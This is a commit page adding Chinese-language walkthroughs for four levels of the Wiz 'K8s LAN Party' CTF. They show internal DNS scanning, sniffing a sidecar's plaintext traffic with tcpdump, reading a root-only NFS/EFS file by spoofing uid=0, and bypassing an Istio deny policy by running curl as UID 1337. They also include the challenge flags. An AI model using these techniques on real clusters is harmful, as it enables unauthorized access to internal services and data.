Skip to content

Commit 3e7571e

Browse files
Randark-JMTRandark-JMT
committed
update
1 parent f975f53 commit 3e7571e

File tree

12 files changed

+658
-9
lines changed

12 files changed

+658
-9
lines changed

‎docs/Independent-Environment/Fengtaisec/_category_.json‎

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
{
2+
"label": "纵横网络靶场",
3+
"link": {
4+
"type": "generated-index",
5+
"title": "纵横网络靶场",
6+
"slug": "/category/Fengtaisec"
7+
}
8+
}

‎docs/Independent-Environment/Fengtaisec/index.md‎

Lines changed: 0 additions & 1 deletion
This file was deleted.

‎docs/Independent-Environment/K8sLanParty/1.md‎

Lines changed: 71 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,71 @@
1+
# Recon
2+
3+
:::note
4+
5+
DNSing with the stars
6+
7+
You have shell access to compromised a Kubernetes pod at the bottom of this page, and your next objective is to compromise other internal services further.
8+
9+
As a warmup, utilize DNS scanning to uncover hidden internal services and obtain the flag. We have "loaded your machine with dnscan to ease this process for further challenges.
10+
11+
All the flags in the challenge follow the same format: `wiz_k8s_lan_party{*}`
12+
13+
你已经获得了对页面底部一个受侵的 Kubernetes Pod 的 shell 访问权限，接下来的目标是进一步攻破其他内部服务。
14+
15+
作为热身，利用 DNS 扫描来发现隐藏的内部服务并获取 flag。为了帮助你完成后续挑战，我们已经在你的机器上预装了 `dnscan` 工具，以简化这一过程。
16+
17+
本次挑战中的所有旗标（flag）都遵循相同的格式：`wiz_k8s_lan_party{*}`
18+
19+
:::
20+
21+
在题目提示中，已经说明环境中预装了 `dnscan` 工具，那么先探测一下环境信息
22+
23+
```shell
24+
player@wiz-k8s-lan-party:~$ env
25+
KUBERNETES_SERVICE_PORT_HTTPS=443
26+
KUBERNETES_SERVICE_PORT=443
27+
USER_ID=39b58ad9-f423-4cd1-a31e-c76545775452
28+
HISTSIZE=2048
29+
PWD=/home/player
30+
HOME=/home/player
31+
KUBERNETES_PORT_443_TCP=tcp://10.100.0.1:443
32+
HISTFILE=/home/player/.bash_history
33+
TMPDIR=/tmp
34+
TERM=xterm-256color
35+
SHLVL=1
36+
KUBERNETES_PORT_443_TCP_PROTO=tcp
37+
KUBERNETES_PORT_443_TCP_ADDR=10.100.0.1
38+
KUBERNETES_SERVICE_HOST=10.100.0.1
39+
KUBERNETES_PORT=tcp://10.100.0.1:443
40+
KUBERNETES_PORT_443_TCP_PORT=443
41+
HISTFILESIZE=2048
42+
_=/usr/bin/env
43+
44+
player@wiz-k8s-lan-party:~$ cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
45+
k8s-lan-party
46+
```
47+
48+
在环境变量信息中，可以得知 Kubernetes 集群的 HOST 为 `10.100.0.1`
49+
50+
那么直接执行扫描
51+
52+
```shell
53+
player@wiz-k8s-lan-party:~$ dnscan -subnet 10.100.0.0/16
54+
34984 / 65536 [----------------------------------------------------------------------------------->________________________________________________________________________] 53.38% 963 p/s
55+
10.100.136.254 getflag-service.k8s-lan-party.svc.cluster.local.
56+
65365 / 65536 [----------------------------------------------------------------------------------------------------------------------------------------------------------->] 99.74% 963 p/s
57+
10.100.136.254 -> getflag-service.k8s-lan-party.svc.cluster.local.
58+
```
59+
60+
得到了一个地址之后，尝试与其进行交互
61+
62+
```shell
63+
player@wiz-k8s-lan-party:~$ curl getflag-service.k8s-lan-party.svc.cluster.local
64+
wiz_k8s_lan_party{between-thousands-of-ips-you-found-your-northen-star}
65+
```
66+
67+
即可得到答案
68+
69+
```flag
70+
wiz_k8s_lan_party{between-thousands-of-ips-you-found-your-northen-star}
71+
```

‎docs/Independent-Environment/K8sLanParty/2.md‎

Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
# Finding Neighbours
2+
3+
:::note
4+
5+
Hello?
6+
7+
Sometimes, it seems we are the only ones around, but we should always be on guard against invisible sidecars reporting sensitive secrets.
8+
9+
有时，看起来我们似乎是周围唯一的存在，但我们应该始终警惕那些隐形的 sidecar，它们可能会泄露敏感的秘密。
10+
11+
:::
12+
13+
查看当前的网络连接
14+
15+
```shell
16+
player@wiz-k8s-lan-party:~$ netstat -anopt
17+
Active Internet connections (servers and established)
18+
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name Timer
19+
tcp 0 0 192.168.1.39:42882 10.100.171.123:80 TIME_WAIT - timewait (58.43/0/0)
20+
tcp 0 0 192.168.1.39:42870 10.100.171.123:80 TIME_WAIT - timewait (53.42/0/0)
21+
```
22+
23+
可以看到，有向 `10.100.171.123:80` 发起的连接，但是在本容器内无法得知运行的进程信息
24+
25+
那么结合题目描述，可以猜测是 `sidecar` 容器发起的网络连接，尝试使用 `tcpdump` 捕获连接中的数据
26+
27+
```shell
28+
player@wiz-k8s-lan-party:~$ tcpdump dst host 10.100.171.123 and dst port 80 -A
29+
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
30+
listening on ns-eafe9b, link-type EN10MB (Ethernet), snapshot length 262144 bytes
31+
07:29:35.482799 IP 192.168.1.39.44170 > reporting-service.k8s-lan-party.svc.cluster.local.http: Flags [S], seq 513025098, win 64240, options [mss 1460,sackOK,TS val 2483130223 ecr 0,nop,wscale 7], length 0
32+
E..<.n@........'
33+
d.{...P..$J........w..........
34+
...o........
35+
07:29:35.482839 IP 192.168.1.39.44170 > reporting-service.k8s-lan-party.svc.cluster.local.http: Flags [.], ack 1811249520, win 502, options [nop,nop,TS val 2483130223 ecr 2391605501], length 0
36+
E..4.o@........'
37+
d.{...P..$Kk.yp....w......
38+
...o....
39+
07:29:35.482878 IP 192.168.1.39.44170 > reporting-service.k8s-lan-party.svc.cluster.local.http: Flags [P.], seq 0:214, ack 1, win 502, options [nop,nop,TS val 2483130223 ecr 2391605501], length 214: HTTP: POST / HTTP/1.1
40+
E..
41+
.p@........'
42+
d.{...P..$Kk.yp....x......
43+
...o....POST / HTTP/1.1
44+
Host: reporting-service
45+
User-Agent: curl/7.64.0
46+
Accept: */*
47+
Content-Length: 63
48+
Content-Type: application/x-www-form-urlencoded
49+
50+
wiz_k8s_lan_party{good-crime-comes-with-a-partner-in-a-sidecar}
51+
07:29:35.484560 IP 192.168.1.39.44170 > reporting-service.k8s-lan-party.svc.cluster.local.http: Flags [.], ack 206, win 501, options [nop,nop,TS val 2483130224 ecr 2391605502], length 0
52+
E..4.q@........'
53+
d.{...P..%!k.z=....w......
54+
...p....
55+
07:29:35.484662 IP 192.168.1.39.44170 > reporting-service.k8s-lan-party.svc.cluster.local.http: Flags [F.], seq 214, ack 206, win 501, options [nop,nop,TS val 2483130225 ecr 2391605502], length 0
56+
E..4.r@........'
57+
d.{...P..%!k.z=....w......
58+
...q....
59+
07:29:35.484701 IP 192.168.1.39.44170 > reporting-service.k8s-lan-party.svc.cluster.local.http: Flags [.], ack 207, win 501, options [nop,nop,TS val 2483130225 ecr 2391605503], length 0
60+
E..4.s@........'
61+
d.{...P..%"k.z>....w......
62+
...q....
63+
^C
64+
6 packets captured
65+
6 packets received by filter
66+
0 packets dropped by kernel
67+
```
68+
69+
即可得到答案
70+
71+
```flag
72+
wiz_k8s_lan_party{good-crime-comes-with-a-partner-in-a-sidecar}
73+
```

‎docs/Independent-Environment/K8sLanParty/3.md‎

Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
# Data Leakage
2+
3+
:::note
4+
5+
Exposed File Share
6+
7+
The targeted big corp utilizes outdated, yet cloud-supported technology for data storage in production. But oh my, this technology was introduced in an era when access control was only network-based 🤦‍️.
8+
9+
目标的大型公司在生产环境中使用了过时但仍受云支持的数据存储技术。天啊，这项技术是在一个访问控制仅基于网络的时代引入的 🤦‍️。
10+
11+
:::
12+
13+
根据题目描述，可以确定其所描述的技术是 `nfs`
14+
15+
分析 `nfs` 的话，就先看目前容器内的挂载情况
16+
17+
```shell
18+
player@wiz-k8s-lan-party:~$ mount
19+
overlay on / type overlay (ro,nosuid,relatime,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1459/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1458/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1457/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1456/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1455/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1454/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1453/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1452/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1451/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1450/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1449/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1448/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1447/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1446/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1445/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1444/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1443/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1442/fs,upperdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/111664/fs,workdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/111664/work)
20+
overlay on /home/player type overlay (rw,relatime,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1459/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1458/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1457/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1456/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1455/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1454/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1453/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1452/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1451/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1450/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1449/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1448/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1447/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1446/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1445/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1444/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1443/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1442/fs,upperdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/111664/fs,workdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/111664/work)
21+
overlay on /tmp type overlay (rw,relatime,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1459/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1458/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1457/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1456/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1455/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1454/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1453/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1452/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1451/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1450/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1449/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1448/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1447/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1446/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1445/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1444/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1443/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1442/fs,upperdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/111664/fs,workdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/111664/work)
22+
fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com:/ on /efs type nfs4 (ro,relatime,vers=4.1,rsize=1048576,wsize=1048576,namlen=255,hard,noresvport,proto=tcp,timeo=600,retrans=2,sec=sys,clientaddr=192.168.7.163,local_lock=none,addr=192.168.1.244)
23+
overlay on /etc/resolv.conf type overlay (ro,relatime,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1459/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1458/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1457/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1456/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1455/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1454/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1453/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1452/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1451/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1450/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1449/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1448/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1447/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1446/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1445/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1444/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1443/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/1442/fs,upperdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/111664/fs,workdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/111664/work)
24+
tmpfs on /var/run/secrets/kubernetes.io/serviceaccount type tmpfs (ro,relatime,size=62022172k)
25+
tmpfs on /dev/null type tmpfs (rw,nosuid,size=65536k,mode=755)
26+
tmpfs on /dev/urandom type tmpfs (rw,nosuid,size=65536k,mode=755)
27+
none on /proc type proc (ro,relatime)
28+
```
29+
30+
排查其中的 `nfs` 关键词
31+
32+
```shell
33+
player@wiz-k8s-lan-party:~$ mount | grep nfs
34+
fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com:/ on /efs type nfs4 (ro,relatime,vers=4.1,rsize=1048576,wsize=1048576,namlen=255,hard,noresvport,proto=tcp,timeo=600,retrans=2,sec=sys,clientaddr=192.168.7.163,local_lock=none,addr=192.168.1.244)
35+
```
36+
37+
可以看到，挂载到了 `/efs` 目录下
38+
39+
```shell
40+
player@wiz-k8s-lan-party:~$ cd /efs/
41+
player@wiz-k8s-lan-party:/efs$ ls -laih
42+
total 8.0K
43+
1546425800678735613 drwxr-xr-x 2 root root 6.0K Mar 11 2024 .
44+
118391922 drwxr-xr-x 1 player player 51 Dec 8 18:27 ..
45+
8685775981290835117 ---------- 1 daemon daemon 73 Mar 11 2024 flag.txt
46+
```
47+
48+
可以看到，目前状态下对 `/efs/flag.txt` 文件是没有读取权限的，那么可以尝试从 `nfs` 下手
49+
50+
```shell
51+
player@wiz-k8s-lan-party:/efs$ nfs-ls "nfs://fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com/?version=4&uid=0&gid=0"
52+
---------- 1 1 1 73 flag.txt
53+
```
54+
55+
:::warning
56+
57+
如果不带上参数进行访问的话，会得到
58+
59+
```shell
60+
player@wiz-k8s-lan-party:/efs$ nfs-ls "nfs://fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com/"
61+
Failed to mount nfs share : mount_cb: nfs_service failed
62+
```
63+
64+
:::
65+
66+
得知位置之后，就可以查看文件内容了
67+
68+
```shell
69+
player@wiz-k8s-lan-party:/efs$ nfs-cat 'nfs://fs-0779524599b7d5e7e.efs.us-west-1.amazonaws.com//flag.txt?version=4&uid=0&gid=0'
70+
wiz_k8s_lan_party{old-school-network-file-shares-infiltrated-the-cloud!}
71+
```
72+
73+
即可得到答案
74+
75+
```shell
76+
wiz_k8s_lan_party{old-school-network-file-shares-infiltrated-the-cloud!}
77+
```

‎docs/Independent-Environment/K8sLanParty/4.md‎

Lines changed: 96 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,96 @@
1+
# Bypassing Boundaries
2+
3+
:::note
4+
5+
The Beauty and The Ist
6+
7+
Apparently, new service mesh technologies hold unique appeal for ultra-elite users (root users). Don't abuse this power; use it responsibly and with caution.
8+
9+
显然，新的服务网格技术对超高级用户（root 用户）具有独特的吸引力。不要滥用这种能力；请负责任且谨慎地使用它。
10+
11+
:::
12+
13+
既然题目说了，对超高级用户有吸引力，那么先查看用户状态
14+
15+
```plaintext title="/etc/passwd"
16+
root:x:0:0:root:/root:/bin/bash
17+
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
18+
bin:x:2:2:bin:/bin:/usr/sbin/nologin
19+
sys:x:3:3:sys:/dev:/usr/sbin/nologin
20+
sync:x:4:65534:sync:/bin:/bin/sync
21+
games:x:5:60:games:/usr/games:/usr/sbin/nologin
22+
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
23+
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
24+
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
25+
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
26+
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
27+
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
28+
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
29+
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
30+
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
31+
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
32+
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
33+
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
34+
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
35+
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
36+
_rpc:x:102:65534::/run/rpcbind:/usr/sbin/nologin
37+
statd:x:103:65534::/var/lib/nfs:/usr/sbin/nologin
38+
istio:x:1337:1337::/home/istio:/bin/sh
39+
player:x:1001:1001::/home/player:/bin/sh
40+
```
41+
42+
同时，题目给了一份策略
43+
44+
```yaml
45+
apiVersion: security.istio.io/v1beta1
46+
kind: AuthorizationPolicy
47+
metadata:
48+
name: istio-get-flag
49+
namespace: k8s-lan-party
50+
spec:
51+
action: DENY
52+
selector:
53+
matchLabels:
54+
app: "{flag-pod-name}"
55+
rules:
56+
- from:
57+
- source:
58+
namespaces: ["k8s-lan-party"]
59+
to:
60+
- operation:
61+
methods: ["POST", "GET"]
62+
```
63+
64+
可以看到，被限制了通过 GET 和 POST 来访问服务
65+
66+
先探测一下服务地址
67+
68+
```shell
69+
root@wiz-k8s-lan-party:~# dnscan -subnet 10.100.0.0/16
70+
57435 / 65536 [---------------------------------------------------------------------------------------------------------------------------------------->___________________] 87.64% 946 p/s
71+
10.100.224.159 istio-protected-pod-service.k8s-lan-party.svc.cluster.local.
72+
65398 / 65536 [----------------------------------------------------------------------------------------------------------------------------------------------------------->] 99.79% 949 p/s
73+
10.100.224.159 -> istio-protected-pod-service.k8s-lan-party.svc.cluster.local.
74+
65536 / 65536 [-----------------------------------------------------------------------------------------------------------------------------------------------------------] 100.00% 953 p/s
75+
```
76+
77+
尝试进行访问
78+
79+
```shell
80+
root@wiz-k8s-lan-party:~# curl istio-protected-pod-service.k8s-lan-party.svc.cluster.local
81+
RBAC: access denied
82+
```
83+
84+
针对 `istio` 设立的限制，可以使用 UID 为 `1337` 的用户来绕过限制，即可以使用 `istio` 这个用户来发起请求
85+
86+
```shell
87+
root@wiz-k8s-lan-party:~# su - istio -c 'curl istio-protected-pod-service.k8s-lan-party.svc.cluster.local'
88+
su: warning: cannot change directory to /home/istio: No such file or directory
89+
wiz_k8s_lan_party{only-leet-hex0rs-can-play-both-k8s-and-linux}
90+
```
91+
92+
即可得到答案
93+
94+
```flag
95+
wiz_k8s_lan_party{only-leet-hex0rs-can-play-both-k8s-and-linux}
96+
```

0 commit comments

Comments
 (0)